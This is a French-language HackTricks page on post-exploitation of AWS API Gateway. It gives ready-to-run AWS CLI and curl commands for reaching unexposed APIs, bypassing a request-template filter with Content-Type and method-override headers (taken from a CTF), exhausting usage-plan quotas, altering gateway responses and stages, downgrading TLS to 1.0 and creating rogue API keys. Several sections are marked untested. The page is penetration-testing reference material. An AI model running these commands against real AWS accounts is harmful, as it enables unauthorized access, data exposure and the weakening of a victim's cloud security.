AWS - API Gateway Post Exploitation

Support HackTricks

API Gateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

Accéder aux API non exposées

Vous pouvez créer un point de terminaison dans https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions. Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.

Contourner le passage du corps de la requête

Cette technique a été trouvée dans ce rapport CTF.

Comme indiqué dans la documentation AWS dans la section PassthroughBehavior, par défaut, la valeur WHEN_NO_MATCH, lors de la vérification de l'en-tête Content-Type de la requête, transmettra la requête au backend sans transformation.

Par conséquent, dans le CTF, la passerelle API avait un modèle d'intégration qui empêchait le drapeau d'être exfiltré dans une réponse lorsqu'une requête était envoyée avec Content-Type: application/json :

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Cependant, envoyer une requête avec Content-type: text/json empêcherait ce filtre.

Enfin, comme l'API Gateway n'autorisait que Get et Options, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête X-HTTP-Method-Override: GET :

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Plans d'utilisation DoS

Dans la section Énumération, vous pouvez voir comment obtenir le plan d'utilisation des clés. Si vous avez la clé et qu'elle est limitée à X utilisations par mois, vous pourriez simplement l'utiliser et provoquer un DoS.

La clé API doit simplement être incluse dans un en-tête HTTP appelé x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.

Besoin de tests

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateStage et apigateway:CreateDeployment peut modifier une étape existante de l'API Gateway pour rediriger le trafic vers une autre étape ou changer les paramètres de mise en cache pour obtenir un accès non autorisé aux données mises en cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API.

Besoin de tests

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant disposant des autorisations apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.

Besoin de tests

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant disposant des autorisations apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramètres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Affaiblissement de la sécurité de l'API, permettant potentiellement un accès non autorisé ou exposant des informations sensibles.

Besoin de tests

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant avec les permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accès non autorisé aux APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impact potentiel : Accès non autorisé aux ressources API, contournement des contrôles de sécurité.

Besoin de tests

Soutenir HackTricks

Last updated